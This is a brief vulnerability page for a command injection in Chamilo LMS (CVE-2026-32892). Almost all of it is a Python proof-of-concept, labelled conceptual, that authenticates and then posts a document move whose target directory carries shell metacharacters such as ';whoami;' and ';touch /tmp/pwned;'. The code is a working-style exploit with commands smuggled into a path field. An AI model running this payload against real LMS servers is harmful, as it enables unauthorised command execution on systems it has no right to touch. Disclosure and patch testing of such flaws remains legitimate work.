CVE-2026-32892 Chamilo LMS 操作系统命令注入漏洞

import requests # This is a conceptual PoC based on the vulnerability description. # Target URL configuration target_url = "http://vulnerable-host/chamilo/main/document/document.php" login_url = "http://vulnerable-host/chamilo/login.php" # Attacker credentials username = "attacker" password = "password" # Step 1: Authenticate and obtain session session = requests.Session() login_data = {"login": username, "password": password} session.post(login_url, data=login_data) # Step 2: The attacker must have previously created a directory with shell metacharacters # via Course Backup Import (e.g., a directory named ";touch /tmp/pwned;"). # Assuming the malicious directory path is known: malicious_dir = "/courses/ATTACKER/document/;whoami;" # Step 3: Trigger the vulnerability by moving a document into the malicious directory payload = { "move_to": malicious_dir, "id": "123" # ID of a document the attacker has access to move } response = session.post(target_url, data=payload) if response.status_code == 200: print("Request sent. Check if command was executed.") else: print("Failed to send request")